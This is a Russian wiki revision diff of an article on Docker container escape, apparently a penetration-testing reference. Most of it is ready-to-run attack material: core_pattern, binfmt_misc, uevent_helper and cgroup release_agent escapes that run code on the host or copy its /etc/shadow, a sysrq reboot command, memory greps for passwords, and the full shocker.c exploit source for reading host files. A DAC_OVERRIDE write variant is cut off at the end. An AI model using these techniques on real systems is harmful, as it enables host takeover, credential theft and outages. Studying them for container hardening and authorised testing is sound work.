Docker escape — различия между версиями
Drakylar (обсуждение | вклад) м (→Docker Sockets) |
Drakylar (обсуждение | вклад) м (→CAP_DAC_OVERRIDE) |
||
(не показано 75 промежуточных версий этого же участника) | |||
Строка 3: | Строка 3: | ||
Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа. | Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа. | ||
− | |||
− | + | = SSRF = | |
Доступ, когда можно только делать запросы по различным протоколам. | Доступ, когда можно только делать запросы по различным протоколам. | ||
Строка 14: | Строка 13: | ||
Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер | Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер | ||
− | + | = Local file reading = | |
− | Доступ, когда можно только читать локальные файлы. | + | Доступ, когда можно только читать локальные файлы контейнера. |
− | == | + | == Host volumes mount == |
− | === Capabilities | + | В случае, если настройками докера были примонтированы хостовые директории, то тогда можно поискать в них критичные файлы конфигов, ключей, паролей и тд. |
+ | |||
+ | Например, корневая директория хостовой системы может быть доступна по адресу /host_root/. | ||
+ | |||
+ | |||
+ | == kubernetes == | ||
+ | |||
+ | |||
+ | == environ == | ||
+ | |||
+ | |||
+ | В контейнеры часто передают ключевую информацию в переменные окружения, поэтому советую прочитать файлы /proc/*/environ для поиска секретов. | ||
+ | |||
+ | Например, файл текущего процесса /proc/self/environ | ||
+ | |||
+ | = Remote code execution = | ||
+ | |||
+ | == Mounts == | ||
+ | |||
+ | Многие директории хоста в случае доступа из контейнера, позволяют, например, получить исполнение кода на хостовой машине. | ||
+ | |||
+ | === /proc/sys === | ||
+ | |||
+ | Позволяет редактировать переменные ядра | ||
+ | |||
+ | ==== /proc/sys/kernel/core_pattern ==== | ||
+ | |||
+ | Позволяет запустить произвольный код от имени рута на хостовой системе. Требуются права записи. | ||
+ | |||
+ | Кратко: определяем программу через символ pipe которая будет запущена если программа сломается. | ||
+ | |||
+ | Уточняю, но предварительно для эксплуатации требуется: | ||
+ | |||
+ | 1. Права изменения файла /proc/sys/kernel/core_pattern | ||
+ | |||
+ | 2. Права создания файла где то в известном месте на хостовой машине | ||
+ | |||
+ | 3. На созданный файл chmod +x | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cd /proc/sys/kernel | ||
+ | echo "|$overlay/shell.sh" > core_pattern | ||
+ | sleep 5 && ./crash | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== /proc/sys/kernel/modprobe ==== | ||
+ | |||
+ | Содержить путь до kernel module loader, который используется когда вы подгружаете модуль ядра например через команду modprobe. | ||
+ | |||
+ | Поэтому вам требуется право на запись в этот файл, чтобы поменять путь до вашего исполняемого файла. | ||
+ | |||
+ | Пример содержимого файла: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | $ cat /proc/sys/kernel/modprobe | ||
+ | /sbin/modprobe | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | ==== /proc/sys/fs ==== | ||
+ | |||
+ | Директория с файлами конфигураций файловой системы: inode, file handler, quota и тд. | ||
+ | |||
+ | Как правило, позволяет провести только атаки DoS | ||
+ | |||
+ | ==== /proc/sys/fs/binfmt_misc ==== | ||
+ | |||
+ | В дополнение к предыдущему пункту. Файл нужен для определения того, через какую программу будут исполняться файлы (например, DOS приложения через wine elf). | ||
+ | |||
+ | |||
+ | Для эксплуатации требуется возможность записать файлы. | ||
+ | |||
+ | Тестовая инфраструктура : | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | sudo docker run --security-opt apparmor:unconfirned --cap-add=SYS_ADMIN -it ubuntu /bin/bash | ||
+ | apt update | ||
+ | apt-get install libcap2-bin gdb | ||
+ | capsh --print | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Пример эксплуатации (перезаписывание #!/bin/sh интерпретатора): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | # Можен понадобиться перемонтирование (хотя мб не хватит прав) | ||
+ | mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc | ||
+ | mount -o rw,remount /proc/sys | ||
+ | # Получение пути с хостовой машины до файловой системы контейнера - мб нет прав | ||
+ | mount | grep upperdir | ||
+ | |||
+ | cd /tmp/ | ||
+ | # Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер | ||
+ | echo 'cat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh | ||
+ | chmod +x test.sh | ||
+ | |||
+ | # Добавляем новое определение #!/bin/sh: | ||
+ | echo ':test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register | ||
+ | |||
+ | # Ждем пока на хостовой системе запустят файл который начинается с #!/bin/sh | ||
+ | ./test_file.sh | ||
+ | |||
+ | # читаем файл shadow скопированный в контейнер | ||
+ | cat /tmp/shadow | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Пример эксплуатации (перезаписывание команды ls): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc | ||
+ | mount -o rw,remount /proc/sys | ||
+ | # Получение пути с хостовой машины до файловой системы контейнера - мб нет прав | ||
+ | mount | grep upperdir | ||
+ | |||
+ | cd /tmp/ | ||
+ | # Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер | ||
+ | echo -e '$#/bin/bash\ncat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh | ||
+ | chmod +x test.sh | ||
+ | |||
+ | # Добавляем новое определение команды ls: | ||
+ | echo ':test:M:208:\xd0\x35::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register | ||
+ | |||
+ | # Ждем пока на хостовой системе запустят команду ls | ||
+ | ls | ||
+ | |||
+ | # читаем файл shadow скопированный в контейнер | ||
+ | cat /tmp/shadow | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Утилита для эксплуатации (не в докере): https://github.com/toffan/binfmt_misc | ||
+ | |||
+ | Презентация с описанием атак (в докере): https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf | ||
+ | |||
+ | === /proc/config.gz === | ||
+ | |||
+ | Информация о хостовой системе (ядре), которая может помочь при побеге из контейнера. | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cd /tmp; | ||
+ | cp /proc/config.gz . | ||
+ | gzip -d config.gz | ||
+ | cat config | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === /proc/sysrq-trigger === | ||
+ | |||
+ | Если мы можем записывать по адресу /proc/sysrq-trigger, то это позволяет нам (не только): | ||
+ | |||
+ | 1. Перезапустить систему | ||
+ | |||
+ | 2. вызвать sync(2) syscall | ||
+ | |||
+ | 3. перемаунтить файловую систему как read-only | ||
+ | |||
+ | 4. Вызвать отладчики ядра | ||
+ | |||
+ | |||
+ | Пример перезапуска системы: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | echo b > /proc/sysrq-trigger | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Проверка файловой системы (read-only): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | echo 1 > /proc/sysrq-trigger | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === /proc/kmsg === | ||
+ | |||
+ | Позволяет получить доступ к сообщениям kernel ring (обычно доступные через dmesg). | ||
+ | |||
+ | По большей части только раскрывает информацию о ядре, которая позже может пригодиться при побеге из контейнера. | ||
+ | |||
+ | === /proc/kallsyms === | ||
+ | |||
+ | Тоже информация о ядре. | ||
+ | |||
+ | === /proc/*/mem === | ||
+ | |||
+ | Это интерфейс к устройству ядра /dev/mem. | ||
+ | |||
+ | Есть старая CVE на повышение через это - CVE-2012-0056. | ||
+ | |||
+ | Подробнее про уязвимость: https://git.zx2c4.com/CVE-2012-0056/about/ | ||
+ | |||
+ | === /proc/kcore === | ||
+ | |||
+ | Это представление физической системы в формате ELF. | ||
+ | Если у вас есть возможность читать этот файл, то вы можете прочитать фрагменты памяти чем вызвать memory leak. | ||
+ | |||
+ | |||
+ | Инструкция как дампить память: https://schlafwandler.github.io/posts/dumping-/proc/kcore/ | ||
+ | |||
+ | === /proc/kmem === | ||
+ | |||
+ | Представление устройства /dev/kmem, позволяет напрямую читать и редактировать оперативную память ядра. | ||
+ | |||
+ | |||
+ | Ищем по памяти подстроку PASS: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | strings /proc/kmem -n10 | grep -i PASS | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Но для этого также нужно отключить docker apparmor | ||
+ | |||
+ | === /proc/mem === | ||
+ | |||
+ | Представление устройства /dev/mem, позволяет напрямую читать и редактировать физическую память ядра. | ||
+ | |||
+ | |||
+ | Ищем по памяти подстроку PASS: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | strings /proc/mem -n10 | grep -i PASS | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === /proc/sched_debug === | ||
+ | |||
+ | Возвращает информацию о задачах по расписанию у хостовой системы. | ||
+ | |||
+ | Позволяет например обойти PID-ограничения и узнать айди процессов хоста. | ||
+ | |||
+ | === /proc/*/mountinfo === | ||
+ | |||
+ | Информация о Mount Points в рабочем пространстве процесса | ||
+ | |||
+ | === /sys/kernel/uevent_helper === | ||
+ | |||
+ | Файл отвечает за то, какие скрипты будут запущены, когда будет подключено или отключено новое устройство. | ||
+ | |||
+ | Если есть права на запись на этот файл, то можно заменить его содержимое на путь до нашего исполняемого файла. | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | # Создаем вредоносный файл | ||
+ | cat "#!/bin/sh" > /evil-helper | ||
+ | cat "ps > /output" >> /evil-helper | ||
+ | chmod +x /evil-helper | ||
+ | |||
+ | # Определяет путь с хоста до файловой системы докера | ||
+ | host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` | ||
+ | |||
+ | # Указываю путь до моего файла | ||
+ | echo "$host_path/evil-helper" > /sys/kernel/uevent_helper | ||
+ | |||
+ | # Вызываю uevent | ||
+ | echo change > /sys/class/mem/null/uevent | ||
+ | # Второй способ | ||
+ | # echo /sbin/poweroff > /sys/kernel/uevent_helper | ||
+ | |||
+ | # Читаю вывод | ||
+ | cat /output | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === /sys/class/thermal === | ||
+ | |||
+ | Доступ к аппаратным характеристикам, как правило привести может только к DoS | ||
+ | |||
+ | === /sys/kernel/vmcoreinfo === | ||
+ | |||
+ | Адреса памяти ядра, может помочь для обхода KASLR(рандомизация адресов). | ||
+ | |||
+ | === /sys/kernel/security === | ||
+ | |||
+ | Примонтирован securityfs интерфейс, позволяющий конфигурировать модули безопасности Linux, например, AppArmor policies. | ||
+ | |||
+ | === /sys/firmware/efi/vars === | ||
+ | |||
+ | Не сильно распространено, позволяет общаться с EFI-переменными в NVRAM. Как минимум, привести к DoS можно. | ||
+ | |||
+ | === /sys/firmware/efi/efivars === | ||
+ | |||
+ | Если есть права на запись, то можно записывать в NVRAM которая используется в качестве аргумента для UEFI-загрузки. Минимум DoS, в лучшем - компрометация сервера. | ||
+ | |||
+ | === /sys/kernel/debug === | ||
+ | |||
+ | Ссылка на debugfs интерфейс. Позволяет создавать интерфейсы отладки которые будут доступны в пользовательском пространстве. Есть много уязвимостей, эксплуатирующихся через данный интерфейс. | ||
+ | |||
+ | == Capabilities == | ||
Получить список возможных capabilities: | Получить список возможных capabilities: | ||
− | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x: | + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > |
capsh --print | capsh --print | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x: | + | |
+ | |||
+ | [https://www.opennet.ru/opennews/art.shtml?num=29219 Описание capabilities ] | ||
+ | |||
+ | Или сложнее: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
cat /proc/self/status | grep Cap | cat /proc/self/status | grep Cap | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Пример вывода: | Пример вывода: | ||
− | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x: | + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > |
CapInh: 0000000000000000 | CapInh: 0000000000000000 | ||
CapPrm: 0000003fffffffff | CapPrm: 0000003fffffffff | ||
Строка 41: | Строка 320: | ||
Чтобы декодировать: | Чтобы декодировать: | ||
− | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x: | + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > |
capsh --decode=0000003fffffffff | capsh --decode=0000003fffffffff | ||
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 | 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | === | + | Тестовая инфраструктура для произвольной capability: |
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | sudo docker run --cap-add название_capability -it ubuntu /bin/bash | ||
+ | apt update | ||
+ | apt-get install libcap2-bin gdb | ||
+ | capsh --print | ||
+ | </syntaxhighlight> | ||
− | === | + | === CAP_SYS_CHROOT === |
− | ==== Docker Sockets | + | Доступ к системному вызову: |
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | chroot(2) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | По идее может помочь при chroot, но реальных примеров не нашел. | ||
+ | |||
+ | Может помочь утилита https://github.com/earthquake/chw00t/ | ||
+ | |||
+ | |||
+ | === CAP_SYS_ADMIN === | ||
+ | |||
+ | Эта capability позволяет получить максимальные права. В своем роде alias на другие. | ||
+ | |||
+ | Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра. | ||
+ | |||
+ | Cм. CAP_SYS_MODULE capability. | ||
+ | |||
+ | |||
+ | Также в случае read-only файловой системой, позволяет примонтировать файловую систему с возможностью записи командой: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | mount -o rw,remount /hostlogs/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Второй вариант - использовать release_agent feature: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | mkdir /tmp/cgrp | ||
+ | mount -t cgroup -o rdma cgroup /tmp/cgrp | ||
+ | # если ошибка, то выполните эту команду | ||
+ | # mount -t cgroup -o memory cgroup /tmp/cgrp | ||
+ | mkdir /tmp/cgrp/x | ||
+ | echo 1 > /tmp/cgrp/x/notify_on_release | ||
+ | host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` | ||
+ | echo "$host_path/cmd" > /tmp/cgrp/release_agent | ||
+ | echo "#!/bin/sh" > /cmd | ||
+ | echo "ps aux > $host_path/output" >> /cmd | ||
+ | chmod a+x /cmd | ||
+ | sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" | ||
+ | cat /output | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === CAP_SYS_PTRACE + host pid === | ||
+ | |||
+ | Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами). | ||
+ | |||
+ | Тестовая инфраструктура: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash | ||
+ | apt update | ||
+ | apt-get install libcap2-bin gdb | ||
+ | capsh --print | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc | ||
+ | |||
+ | Кратко: | ||
+ | 1. Ищем нужный хостовой процесс (скорее всего рутовый) | ||
+ | |||
+ | 2. Запускаем gdb -p PID | ||
+ | |||
+ | 3. Встраиваем инструкции (шеллкод) | ||
+ | |||
+ | 4. Запускаем инструкции | ||
+ | |||
+ | === CAP_SYS_MODULE === | ||
+ | |||
+ | Позволяет модифицировать ядро. | ||
+ | |||
+ | Тестовая инфраструктура: | ||
+ | <syntaxhighlight lang="bash" line="1." enclose="div" style="overflow-x:auto" > | ||
+ | sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash | ||
+ | apt update | ||
+ | apt-get install libcap2-bin gdb | ||
+ | capsh --print | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Доступ к системным вызовам: | ||
+ | <syntaxhighlight lang="bash" line="1." enclose="div" style="overflow-x:auto" > | ||
+ | init_module(2) | ||
+ | finit_module(2) | ||
+ | delete_module(2) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd | ||
+ | |||
+ | === CAP_DAC_READ_SEARCH === | ||
+ | |||
+ | Позволяет прочитать содержимое файлов хостовой системы. | ||
+ | |||
+ | Тестовая инфраструктура: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash | ||
+ | apt update | ||
+ | apt-get install libcap2-bin gdb | ||
+ | capsh --print | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search | ||
+ | |||
+ | |||
+ | Комментарии: из интересного стоит заметить, что доступ мы получим ТОЛЬКО к диску, с которого был проброшен файл в контейнер. Например, у нас мог быть подключен файл /etc/resolv.conf с диска /dev/sda5. А диск sda5 в свою очередь на хостовой системе подключен к директории /var/. Поэтому, мы можем воспользоваться файлом /etc/resolv.conf для чтения всех дочерних файлов /var/. Причем путь до них нужно указывать относительный (./log/user.log или log/user.log например). | ||
+ | |||
+ | |||
+ | ==== Чтение хостового файла ==== | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cd /tmp | ||
+ | apt update | ||
+ | apt install gcc wget nano | ||
+ | wget http://stealth.openwall.net/xSports/shocker.c | ||
+ | |||
+ | # Получаете список mount и ищите файлы, которы примонтированы из хостовой системы. Как правило это .dockerinit, /etc/resolv.conf, /etc/hosts, /etc/hostname . | ||
+ | mount | ||
+ | |||
+ | |||
+ | # заменяете в файле shocker.c путь .dockerinit на найденный вами путь | ||
+ | # и заменяем /etc/shadow на файл который хотите прочитать | ||
+ | nano shocker.c | ||
+ | |||
+ | # компиляция | ||
+ | gcc shocker.c | ||
+ | |||
+ | # чтение файла | ||
+ | ./a.out | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Содержимое файла shocker.c: | ||
+ | <syntaxhighlight lang="C++" line="1" enclose="div" style="overflow-x:auto; height: 300px;" > | ||
+ | /* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer | ||
+ | * | ||
+ | * Demonstrates that any given docker image someone is asking | ||
+ | * you to run in your docker setup can access ANY file on your host, | ||
+ | * e.g. dumping hosts /etc/shadow or other sensitive info, compromising | ||
+ | * security of the host and any other docker VM's on it. | ||
+ | * | ||
+ | * docker using container based VMM: Sebarate pid and net namespace, | ||
+ | * stripped caps and RO bind mounts into container's /. However | ||
+ | * as its only a bind-mount the fs struct from the task is shared | ||
+ | * with the host which allows to open files by file handles | ||
+ | * (open_by_handle_at()). As we thankfully have dac_override and | ||
+ | * dac_read_search we can do this. The handle is usually a 64bit | ||
+ | * string with 32bit inodenumber inside (tested with ext4). | ||
+ | * Inode of / is always 2, so we have a starting point to walk | ||
+ | * the FS path and brute force the remaining 32bit until we find the | ||
+ | * desired file (It's probably easier, depending on the fhandle export | ||
+ | * function used for the FS in question: it could be a parent inode# or | ||
+ | * the inode generation which can be obtained via an ioctl). | ||
+ | * [In practise the remaining 32bit are all 0 :] | ||
+ | * | ||
+ | * tested with docker 0.11 busybox demo image on a 3.11 kernel: | ||
+ | * | ||
+ | * docker run -i busybox sh | ||
+ | * | ||
+ | * seems to run any program inside VMM with UID 0 (some caps stripped); if | ||
+ | * user argument is given, the provided docker image still | ||
+ | * could contain +s binaries, just as demo busybox image does. | ||
+ | * | ||
+ | * PS: You should also seccomp kexec() syscall :) | ||
+ | * PPS: Might affect other container based compartments too | ||
+ | * | ||
+ | * $ cc -Wall -std=c99 -O2 shocker.c -static | ||
+ | */ | ||
+ | |||
+ | #define _GNU_SOURCE | ||
+ | #include <stdio.h> | ||
+ | #include <sys/types.h> | ||
+ | #include <sys/stat.h> | ||
+ | #include <fcntl.h> | ||
+ | #include <errno.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <string.h> | ||
+ | #include <unistd.h> | ||
+ | #include <dirent.h> | ||
+ | #include <stdint.h> | ||
+ | |||
+ | |||
+ | struct my_file_handle { | ||
+ | unsigned int handle_bytes; | ||
+ | int handle_type; | ||
+ | unsigned char f_handle[8]; | ||
+ | }; | ||
+ | |||
+ | |||
+ | |||
+ | void die(const char *msg) | ||
+ | { | ||
+ | perror(msg); | ||
+ | exit(errno); | ||
+ | } | ||
+ | |||
+ | |||
+ | void dump_handle(const struct my_file_handle *h) | ||
+ | { | ||
+ | fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, | ||
+ | h->handle_type); | ||
+ | for (int i = 0; i < h->handle_bytes; ++i) { | ||
+ | fprintf(stderr,"0x%02x", h->f_handle[i]); | ||
+ | if ((i + 1) % 20 == 0) | ||
+ | fprintf(stderr,"\n"); | ||
+ | if (i < h->handle_bytes - 1) | ||
+ | fprintf(stderr,", "); | ||
+ | } | ||
+ | fprintf(stderr,"};\n"); | ||
+ | } | ||
+ | |||
+ | |||
+ | int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) | ||
+ | { | ||
+ | int fd; | ||
+ | uint32_t ino = 0; | ||
+ | struct my_file_handle outh = { | ||
+ | .handle_bytes = 8, | ||
+ | .handle_type = 1 | ||
+ | }; | ||
+ | DIR *dir = NULL; | ||
+ | struct dirent *de = NULL; | ||
+ | |||
+ | path = strchr(path, '/'); | ||
+ | |||
+ | // recursion stops if path has been resolved | ||
+ | if (!path) { | ||
+ | memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); | ||
+ | oh->handle_type = 1; | ||
+ | oh->handle_bytes = 8; | ||
+ | return 1; | ||
+ | } | ||
+ | ++path; | ||
+ | fprintf(stderr, "[*] Resolving '%s'\n", path); | ||
+ | |||
+ | if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) | ||
+ | die("[-] open_by_handle_at"); | ||
+ | |||
+ | if ((dir = fdopendir(fd)) == NULL) | ||
+ | die("[-] fdopendir"); | ||
+ | |||
+ | for (;;) { | ||
+ | de = readdir(dir); | ||
+ | if (!de) | ||
+ | break; | ||
+ | fprintf(stderr, "[*] Found %s\n", de->d_name); | ||
+ | if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { | ||
+ | fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); | ||
+ | ino = de->d_ino; | ||
+ | break; | ||
+ | } | ||
+ | } | ||
+ | |||
+ | fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); | ||
+ | |||
+ | |||
+ | if (de) { | ||
+ | for (uint32_t i = 0; i < 0xffffffff; ++i) { | ||
+ | outh.handle_bytes = 8; | ||
+ | outh.handle_type = 1; | ||
+ | memcpy(outh.f_handle, &ino, sizeof(ino)); | ||
+ | memcpy(outh.f_handle + 4, &i, sizeof(i)); | ||
+ | |||
+ | if ((i % (1<<20)) == 0) | ||
+ | fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); | ||
+ | if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { | ||
+ | closedir(dir); | ||
+ | close(fd); | ||
+ | dump_handle(&outh); | ||
+ | return find_handle(bfd, path, &outh, oh); | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | |||
+ | closedir(dir); | ||
+ | close(fd); | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | |||
+ | int main() | ||
+ | { | ||
+ | char buf[0x1000]; | ||
+ | int fd1, fd2; | ||
+ | struct my_file_handle h; | ||
+ | struct my_file_handle root_h = { | ||
+ | .handle_bytes = 8, | ||
+ | .handle_type = 1, | ||
+ | .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} | ||
+ | }; | ||
+ | |||
+ | fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" | ||
+ | "[***] The tea from the 90's kicks your sekurity again. [***]\n" | ||
+ | "[***] If you have pending sec consulting, I'll happily [***]\n" | ||
+ | "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"); | ||
+ | |||
+ | read(0, buf, 1); | ||
+ | |||
+ | // get a FS reference from something mounted in from outside | ||
+ | if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0) | ||
+ | die("[-] open"); | ||
+ | |||
+ | if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0) | ||
+ | die("[-] Cannot find valid handle!"); | ||
+ | |||
+ | fprintf(stderr, "[!] Got a final handle!\n"); | ||
+ | dump_handle(&h); | ||
+ | |||
+ | if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) | ||
+ | die("[-] open_by_handle"); | ||
+ | |||
+ | memset(buf, 0, sizeof(buf)); | ||
+ | if (read(fd2, buf, sizeof(buf) - 1) < 0) | ||
+ | die("[-] read"); | ||
+ | |||
+ | fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf); | ||
+ | |||
+ | close(fd2); close(fd1); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === CAP_DAC_OVERRIDE === | ||
+ | |||
+ | Позволяет прочитать содержимое файлов хостовой системы. | ||
+ | |||
+ | Важно! Эксплуатация возможна ТОЛЬКО если есть CAP_DAC_READ_SEARCH (предыдущий пункт). | ||
+ | |||
+ | |||
+ | Тестовая инфраструктура: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | sudo docker run --cap-add DAC_OVERRIDE --cap-add CAP_DAC_READ_SEARCH -it ubuntu /bin/bash | ||
+ | apt update | ||
+ | apt-get install libcap2-bin gdb | ||
+ | capsh --print | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== Запись хостового файла ==== | ||
+ | |||
+ | Инструкция альтернативная DAC_READ_SEARCH, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла> | ||
+ | |||
+ | |||
+ | Аналогично DAC_READ_SEARCH - перезаписывать файлы можно только у тех дисков, файлы которых проброшены в конейнер. Причем путь при запуске должен быть относительным. | ||
+ | |||
+ | |||
+ | Например: файл /etc/resolv.conf примонтирован с диска sda5. sda5 примонтирован в хостовой системе как /var/. Значит мы можем перезаписать любые файлы в /var/ хоста командой, например, ./a.out /log/user.log /etc/passwd. | ||
+ | |||
+ | |||
+ | Хостовой файл будет перезаписан докер-файлом. | ||
+ | |||
+ | <syntaxhighlight lang="C++" line="1" enclose="div" style="overflow-x:auto; height: 300px;" > | ||
+ | #include <stdio.h> | ||
+ | #include <sys/types.h> | ||
+ | #include <sys/stat.h> | ||
+ | #include <fcntl.h> | ||
+ | #include <errno.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <string.h> | ||
+ | #include <unistd.h> | ||
+ | #include <dirent.h> | ||
+ | #include <stdint.h> | ||
+ | |||
+ | // gcc shocker_write.c -o shocker_write | ||
